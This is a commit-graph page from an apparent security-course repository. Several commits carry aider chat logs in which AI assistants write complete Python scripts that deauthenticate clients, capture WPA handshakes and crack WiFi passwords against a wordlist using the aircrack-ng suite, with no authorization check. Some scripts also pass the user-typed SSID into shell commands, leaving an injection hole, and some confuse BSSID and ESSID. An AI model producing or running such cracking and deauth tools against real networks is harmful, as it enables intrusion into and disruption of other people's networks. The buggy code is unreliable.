Commit Graph

65 Commits

Author SHA1 Message Date
David Westgate
c2e9d1eec5 aider: Implemented a Python application to assist in WiFi penetration testing by prompting the user for a target network SSID, capturing the handshake, and cracking the password using a wordlist.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application may utilize a wordlist found at ~/rockyou.txt

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/claude/app.py

ASSISTANT: Here is the Python application to assist in WiFi penetration testing, saved to hw7/claude/app.py:

hw7/claude/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import re

def run_command(command):
    output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
    return output.decode('utf-8')

def change_to_monitor_mode(interface):
    run_command(f"sudo airmon-ng start {interface}")

def change_to_managed_mode(interface):
    run_command(f"sudo airmon-ng stop {interface}")

def get_wifi_interfaces():
    output = run_command("iwconfig")
    interfaces = re.findall(r"(\w+)\s+IEEE", output)
    return interfaces

def get_target_network(interface):
    while True:
        target_ssid = input("Enter the SSID of the target network: ")
        output = run_command(f"sudo airodump-ng --essid '{target_ssid}' {interface}")
        if target_ssid in output:
            break
        print(f"Network {target_ssid} not found. Please try again.")
    return target_ssid

def capture_handshake(target_network, interface):
    print(f"Capturing handshake for network {target_network}...")
    run_command(f"sudo airodump-ng --essid '{target_network}' --write capture {interface} &")
    run_command(f"sudo aireplay-ng -0 1 -e '{target_network}' {interface}")
    run_command("sudo killall airodump-ng")

def crack_password(capture_file, wordlist):
    print("Cracking password...")
    output = run_command(f"aircrack-ng {capture_file} -w {wordlist}")
    password = re.search(r"KEY FOUND! \[(.*?)\]", output).group(1)
    return password

def main():
    interfaces = get_wifi_interfaces()
    if len(interfaces) == 0:
        print("No WiFi interfaces found.")
        return

    interface = interfaces[0]
    print(f"Using interface {interface}")

    change_to_monitor_mode(interface)

    target_network = get_target_network(interface)
    capture_handshake(target_network, interface)

    change_to_managed_mode(interface)

    capture_file = "capture-01.cap"
    wordlist = "~/rockyou.txt"
    password = crack_password(capture_file, wordlist)

    print(f"Password for network {target_network} is: {password}")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

This application does the following:

1. Gets the available WiFi interfaces using `iwconfig`
2. Prompts the user to enter the SSID of the target network
3. Changes the WiFi interface to monitor mode using `airmon-ng`
4. Captures the handshake for the target network using `airodump-ng` and `aireplay-ng`
5. Changes the WiFi interface back to managed mode
6. Cracks the password using the captured handshake file and a wordlist (`~/rockyou.txt`) with `aircrack-ng`
7. Prints out the cracked password for the target network

It uses `subprocess` to run the shell commands and `re` to parse the output. The WiFi interface is changed between managed and monitor modes as needed.
2024-05-30 14:44:42 -07:00
David Westgate
39f260f5b8 aider: Added Python implementation for WiFi penetration testing application.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application may utilize a wordlist found at ~/rockyou.txt

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/gpt4/app.py

ASSISTANT: Here is the implementation for the requested Python application to assist in WiFi penetration testing:

hw7/gpt4/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import threading
import time

def run_command(command):
    """Run a shell command with sudo and return the output."""
    result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
    return result.stdout

def change_to_monitor_mode(interface):
    """Change the WiFi interface to monitor mode."""
    run_command(['airmon-ng', 'start', interface])

def change_to_managed_mode(interface):
    """Change the WiFi interface back to managed mode."""
    run_command(['airmon-ng', 'stop', interface])
    run_command(['service', 'network-manager', 'start'])

def get_wifi_interfaces():
    """Get a list of WiFi interfaces."""
    result = run_command(['iwconfig'])
    interfaces = []
    for line in result.split('\n'):
        if 'IEEE 802.11' in line:
            interfaces.append(line.split()[0])
    return interfaces

def get_target_network(interface):
    """Prompt the user for the target network SSID."""
    ssid = input("Enter the SSID of the target network: ")
    return ssid

def capture_handshake(target_network, interface):
    """Capture the handshake of the target network."""
    run_command(['airodump-ng', '--bssid', target_network, '-w', 'capture', interface])

def deauthenticate_clients(target_network, interface):
    """Deauthenticate clients to capture handshake."""
    run_command(['aireplay-ng', '--deauth', '0', '-a', target_network, interface])

def crack_password(capture_file, wordlist):
    """Crack the password using aircrack-ng and a wordlist."""
    result = run_command(['aircrack-ng', '-w', wordlist, capture_file])
    for line in result.split('\n'):
        if 'KEY FOUND!' in line:
            return line.split()[-1]
    return None

def main():
    interfaces = get_wifi_interfaces()
    if not interfaces:
        print("No WiFi interfaces found.")
        return

    interface = interfaces[0]
    change_to_monitor_mode(interface)

    target_network = get_target_network(interface)

    capture_thread = threading.Thread(target=capture_handshake, args=(target_network, interface))
    deauth_thread = threading.Thread(target=deauthenticate_clients, args=(target_network, interface))

    capture_thread.start()
    time.sleep(5)  # Give some time for airodump-ng to start
    deauth_thread.start()

    capture_thread.join()
    deauth_thread.join()

    change_to_managed_mode(interface)

    password = crack_password('capture-01.cap', '~/rockyou.txt')
    if password:
        print(f"The password for {target_network} is: {password}")
    else:
        print("Failed to crack the password.")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```
2024-05-30 14:43:40 -07:00
David Westgate
293d8be4b9 aider: Implemented wifi penetration testing application.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application may utilize a wordlist found at ~/rockyou.txt

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/gemini/app.py

ASSISTANT: ```python
hw7/gemini/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface):
    """Changes the given interface to monitor mode."""
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface):
    """Changes the given interface to managed mode."""
    subprocess.run(["sudo", "airmon-ng", "stop", interface])

def get_wifi_interfaces():
    """Returns a list of available wifi interfaces."""
    output = subprocess.run(["iwconfig"], capture_output=True).stdout.decode()
    interfaces = re.findall(r"(\w+)\s+IEEE", output)
    return interfaces

def get_target_network(interfaces):
    """Prompts the user to choose a target network from a list of scanned networks."""
    print("Scanning for networks...")
    process = subprocess.Popen(["sudo", "airodump-ng", "--band", "bg", "-w", "scan", interfaces[0]], stdout=subprocess.PIPE)
    time.sleep(5)  # Scan for a few seconds
    process.terminate()
    output = process.communicate()[0].decode()
    networks = re.findall(r"(\s+)([0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2})\s+(-[0-9]+)\s+([0-9]+)\s+([0-9]+)\s+([0-9]+)\s+(-\w+)\s+([0-9]+)\s+([0-9]+)\s+([0-9]+)\s+(.*)", output)
    if networks:
        print("Available networks:")
        for i, network in enumerate(networks):
            print(f"{i+1}. {network[-1]} (BSSID: {network[1]})")
        choice = int(input("Choose target network: ")) - 1
        return networks[choice]
    else:
        print("No networks found.")
        return None

def capture_handshake(target_network, interface):
    """Captures the handshake of the target network."""
    bssid = target_network[1]
    channel = target_network[3]
    subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", channel, "--write", "capture", interface], stdout=subprocess.DEVNULL)
    print(f"Capturing handshake for {target_network[-1]} (BSSID: {bssid})...")
    try:
        while True:
            subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
            time.sleep(5)
    except KeyboardInterrupt:
        print("Handshake capture stopped.")

def crack_password(capture_file, wordlist):
    """Cracks the password of the captured handshake using the given wordlist."""
    print("Cracking password...")
    try:
        output = subprocess.run(["sudo", "aircrack-ng", "-w", wordlist, capture_file], capture_output=True).stdout.decode()
        password = re.search(r"KEY FOUND!\s+\[(.*)\]", output)
        if password:
            return password.group(1)
        else:
            return None
    except FileNotFoundError:
        print(f"Wordlist not found: {wordlist}")
        return None

if __name__ == "__main__":
    interfaces = get_wifi_interfaces()
    if interfaces:
        interface = interfaces[0]  # Use the first interface for now
        change_to_monitor_mode(interface)
        target_network = get_target_network(interfaces)
        if target_network:
            capture_handshake(target_network, interface)
            password = crack_password("capture-01.cap", "~/rockyou.txt")
            if password:
                print(f"Password found: {password}")
            else:
                print("Password not found.")
        change_to_managed_mode(interface)
    else:
        print("No wifi interfaces found.")
>>>>>>> REPLACE
```
2024-05-30 14:38:12 -07:00
David Westgate
98312c9418 reset apps 2024-05-30 14:36:40 -07:00
David Westgate
b4933a8cc6 add photos, update readme 2024-05-30 14:20:14 -07:00
David Westgate
c01a88f305 aider: Created a Python application to assist in WiFi penetration testing.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected wifi netw

ork BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwco

nfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/claude/app.py

ASSISTANT: Here is the *SEARCH/REPLACE* block to create the requested Python application in a new file `hw7/claude/app.py`:

hw7/claude/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import threading

def run_command(command):
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    output, error = process.communicate()
    return output.decode('utf-8'), error.decode('utf-8')

def change_mode(interface, mode):
    run_command(f"sudo ifconfig {interface} down")
    run_command(f"sudo iwconfig {interface} mode {mode}")
    run_command(f"sudo ifconfig {interface} up")

def start_monitor_mode(interface):
    change_mode(interface, "monitor")

def stop_monitor_mode(interface):
    change_mode(interface, "managed")

def crack_password(cap_file, wordlist, bssid):
    command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}"
    output, error = run_command(command)
    if "KEY FOUND!" in output:
        return output.split("KEY FOUND! [ ")[1].split(" ]")[0]
    else:
        return None

def main():
    interface = "wlan0"
    bssid = input("Enter the BSSID of the target network: ")
    wordlist = "rockyou.txt"
    cap_file = "capture.cap"

    print("[*] Enabling monitor mode...")
    start_monitor_mode(interface)

    print("[*] Starting packet capture...")
    capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",))
    capture_thread.start()

    print("[*] Performing deauthentication attack...")
    run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}")

    capture_thread.join(timeout=60)

    print("[*] Cracking password...")
    password = crack_password(f"{cap_file}-01.cap", wordlist, bssid)

    print("[*] Disabling monitor mode...")
    stop_monitor_mode(interface)

    if password:
        print(f"[+] Password found: {password}")
    else:
        print("[-] Password not found.")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

This Python script does the following:

1. Prompts the user for the BSSID of the target Wi-Fi network.
2. Enables monitor mode on the wireless interface using `iwconfig`.
3. Starts capturing packets from the target network using `airodump-ng` in a separate thread.
4. Performs a deauthentication attack on the target network using `aireplay-ng` to force clients to reconnect and capture the handshake.
5. Waits for the packet capture to complete (timeout of 60 seconds).
6. Attempts to crack the captured handshake using `aircrack-ng` and a wordlist.
7. Disables monitor mode on the wireless interface.
8. Prints the cracked password if found, or a message if not found.

The script uses a combination of `iwconfig`, `airodump-ng`, `aireplay-ng`, and `aircrack-ng` tools to perform the Wi-Fi penetration testing tasks. It assumes these tools are available on the user's Linux system.

Please note that this script is for educational purposes only and should be used responsibly and with proper authorization.
2024-05-30 14:17:47 -07:00
David Westgate
6767b5f55d aider: Fixed crack_password function to include the 'bssid' parameter for password cracking.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected wifi network BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/gpt4/app.py

ASSISTANT: Please add the file `hw7/gpt4/app.py` to the chat so I can proceed with the implementation.

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected wifi network BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/gpt4/app.py

ASSISTANT: Here is the implementation for the requested Python application:

hw7/gpt4/app.py
```python
<<<<<<< SEARCH
=======
import os
import subprocess
import threading

def run_command(command):
    """Run a shell command with sudo and return the output."""
    result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
    return result.stdout

def change_mode(interface, mode):
    """Change the mode of the wifi interface."""
    run_command(['ifconfig', interface, 'down'])
    run_command(['iwconfig', interface, 'mode', mode])
    run_command(['ifconfig', interface, 'up'])

def start_monitor_mode(interface):
    """Start monitor mode on the specified interface."""
    run_command(['airmon-ng', 'start', interface])

def stop_monitor_mode(interface):
    """Stop monitor mode on the specified interface."""
    run_command(['airmon-ng', 'stop', interface])

def capture_handshake(interface, bssid, channel):
    """Capture the handshake for the specified BSSID."""
    run_command(['airodump-ng', '--bssid', bssid, '--channel', channel, '-w', 'capture', interface])

def deauthenticate(interface, bssid, client):
    """Deauthenticate a client to capture the handshake."""
    run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface])

def crack_password(cap_file, wordlist):
    """Crack the password using aircrack-ng."""
    result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
    return result

def main():
    interface = input("Enter the name of your wifi interface: ")
    bssid = input("Enter the BSSID of the target network: ")
    channel = input("Enter the channel of the target network: ")
    wordlist = input("Enter the path to your wordlist: ")

    # Change to monitor mode
    change_mode(interface, 'monitor')
    start_monitor_mode(interface)

    # Capture handshake
    capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel))
    capture_thread.start()

    # Deauthenticate clients
    deauth_thread = threading.Thread(target=deauthenticate, args=(interface, bssid, 'FF:FF:FF:FF:FF:FF'))
    deauth_thread.start()

    capture_thread.join()
    deauth_thread.join()

    # Crack password
    password = crack_password('capture-01.cap', wordlist)
    print(f"The password is: {password}")

    # Change back to managed mode
    stop_monitor_mode(interface)
    change_mode(interface, 'managed')

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

USER:
# Fix any errors below, if possible.

## Running: flake8 --select=E9,F821,F823,F831,F406,F407,F701,F702,F704,F706 --show-source hw7/gpt4/app.py

hw7/gpt4/app.py:34:64: F821 undefined name 'bssid'
    result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
                                                               ^

## See relevant line below marked with █.

/home/kali/Documents/djw2/gensec/gensec-westgate-djw2/hw7/gpt4/app.py:
...⋮...
 31│
 32│def crack_password(cap_file, wordlist):
 33│    """Crack the password using aircrack-ng."""
 34█    result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
 35│    return result
 36│
 37│def main():
...⋮...

ASSISTANT: To fix the error, we need to pass the `bssid` parameter to the `crack_password` function. Here are the necessary changes:

hw7/gpt4/app.py
```python
<<<<<<< SEARCH
def crack_password(cap_file, wordlist):
=======
def crack_password(cap_file, wordlist, bssid):
>>>>>>> REPLACE
```

hw7/gpt4/app.py
```python
<<<<<<< SEARCH
    password = crack_password('capture-01.cap', wordlist)
=======
    password = crack_password('capture-01.cap', wordlist, bssid)
>>>>>>> REPLACE
```
2024-05-30 13:59:52 -07:00
David Westgate
7dde8a9e64 Added functions to change wifi interface mode, start/stop monitor mode, capture handshake, deauthenticate clients, and crack password using aircrack-ng. 2024-05-30 13:59:52 -07:00
David Westgate
1cb09832a3 aider: Added a python application to assist in wifi penetration testing.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected
wifi network BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limite
d to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/prompt0/app.py

ASSISTANT: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:

USER: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:

^^^ Incomplete SEARCH/REPLACE block.

ASSISTANT: ```python
hw7/prompt0/app.py
<<<<<<< SEARCH
=======
import subprocess
import re
import time

def change_to_monitor_mode(interface: str) -> None:
    """
    Change the given interface to monitor mode.
    """
    subprocess.run(["sudo", "airmon-ng", "start", interface])

def change_to_managed_mode(interface: str) -> None:
    """
    Change the given interface to managed mode.
    """
    subprocess.run(["sudo", "airmon-ng", "stop", interface])

def get_bssid(essid: str) -> str:
    """
    Get the BSSID of the given ESSID.
    """
    process = subprocess.Popen(["sudo", "iwconfig"], stdout=subprocess.PIPE)
    output, error = process.communicate()
    output = output.decode("utf-8")
    match = re.search(r"ESSID:\"({})\"".format(essid), output)
    if match:
        return match.group(1)
    else:
        return None

def capture_handshake(bssid: str, interface: str) -> None:
    """
    Capture the handshake of the given BSSID.
    """
    subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", "6", "-w", "capture", interface], stdout=subprocess.PIPE)
    time.sleep(5)
    subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
    time.sleep(10)
    subprocess.run(["sudo", "killall", "airodump-ng"])

def crack_handshake(capture_file: str, wordlist: str) -> str:
    """
    Crack the handshake in the given capture file.
    """
    process = subprocess.Popen(["sudo", "aircrack-ng", "-w", wordlist, capture_file], stdout=subprocess.PIPE)
    output, error = process.communicate()
    output = output.decode("utf-8")
    match = re.search(r"KEY FOUND! \[(.*)\]", output)
    if match:
        return match.group(1)
    else:
        return None

if __name__ == "__main__":
    essid = input("Enter the ESSID: ")
    interface = input("Enter the interface: ")
    wordlist = input("Enter the path to the wordlist: ")

    change_to_monitor_mode(interface)
    bssid = get_bssid(essid)
    if bssid:
        print(f"BSSID: {bssid}")
        capture_handshake(bssid, interface)
        password = crack_handshake("capture-01.cap", wordlist)
        if password:
            print(f"Password: {password}")
        else:
            print("Password not found.")
    else:
        print("ESSID not found.")

    change_to_managed_mode(interface)
>>>>>>> REPLACE
```
2024-05-30 13:08:10 -07:00
David Westgate
598cb778d5 update readme, gitignore 2024-05-29 16:37:18 -07:00
David Westgate
aac3eb1153 initial commit for hw7 2024-05-27 10:53:13 -07:00
David Westgate
08f877b946 add url 2024-05-24 18:33:59 -07:00
David Westgate
bbd894c4ce add langchange to env example 2024-05-24 17:57:41 -07:00
David Westgate
66f5e16ee0 fix curl issue in readme 2024-05-24 17:57:07 -07:00
David Westgate
ca919d9520 code cleanup and comments 2024-05-23 20:00:52 -07:00
David Westgate
bca136c1c0 update readme again 2024-05-23 19:33:03 -07:00
David Westgate
3759cb2709 almost works 2024-05-23 16:21:10 -07:00
David Westgate
e17bdcab70 update tool again 2024-05-23 12:11:16 -07:00
David Westgate
9c7dece545 some improvement to tools 2024-05-23 12:00:52 -07:00
David Westgate
e6ef898467 add iw took for recon 2024-05-22 21:48:40 -07:00
David Westgate
f41a632da1 add wordlist file loading to cracking 2024-05-22 18:13:34 -07:00
David Westgate
727a64f3e5 add tools, update readme, format 2024-05-22 16:40:46 -07:00
David Westgate
f7eae67744 added tools 2024-05-22 15:59:39 -07:00
David Westgate
919ee0c08e add readme, env.example 2024-05-18 11:59:53 -07:00
David Westgate
e3f00d3044 initial commit for hw6 2024-05-18 11:58:37 -07:00
David Westgate
4f285dbe13 add hw5 screencast url 2024-05-16 21:15:23 -07:00
David Westgate
ce12730daf typo 2024-05-16 20:44:56 -07:00
David Westgate
c4b0cc744d update readme, format app and comment app, update reqs 2024-05-16 14:42:51 -07:00
David Westgate
14682a55b5 added zip fetch, extract 2024-05-15 22:18:21 -07:00
David Westgate
da6217324a work on ctf download 2024-05-14 12:52:18 -07:00
David Westgate
6966d33826 start work on app, readme 2024-05-11 10:37:05 -07:00
David Westgate
329241d9fd initial commit for hw5 2024-05-11 10:28:04 -07:00
David Westgate
5e7340a8e3 format and add media link 2024-05-09 23:33:21 -07:00
David Westgate
efc1c4bf06 update test files again 2024-05-09 22:37:20 -07:00
David Westgate
0e75e62479 add tests files 2024-05-09 22:14:42 -07:00
David Westgate
415976cd5f remove unneeded time requirnment 2024-05-09 18:43:05 -07:00
David Westgate
f87ee5cc15 add docstring comment 2024-05-09 13:57:17 -07:00
David Westgate
6d0373c92b add env example 2024-05-09 13:50:31 -07:00
David Westgate
ac80b0d0d6 finish app, update readme, update test inputs 2024-05-09 13:47:35 -07:00
David Westgate
ade1c61334 add formatted code for test 2024-05-09 12:02:01 -07:00
David Westgate
a44c57c220 add script for test example 2024-05-08 17:23:27 -07:00
David Westgate
ca9d33801a de-obfuscate from local file 2024-05-06 20:56:13 -07:00
David Westgate
3fa6b80c22 initial commit for hw4 2024-05-03 13:33:12 -07:00
David Westgate
ceda00d47d add hw3 screencast url 2024-05-02 12:46:30 -07:00
David Westgate
266d5953cc format all scripts; fix loader issue from hw1 firecrawl; start hw3 2024-04-30 16:00:31 -07:00
David Westgate
06dbb7fcf2 initial commit for hw3 2024-04-27 15:02:21 -07:00
David Westgate
709fdee2d0 update screencast url 2024-04-25 22:19:06 -07:00
David Westgate
3ba5b7d04b update app.py comments 2024-04-25 22:17:13 -07:00
David Westgate
36f74f707a comment update in tools.py 2024-04-25 22:15:25 -07:00
David Westgate
4db069026e update readme and .env.example 2024-04-25 14:14:45 -07:00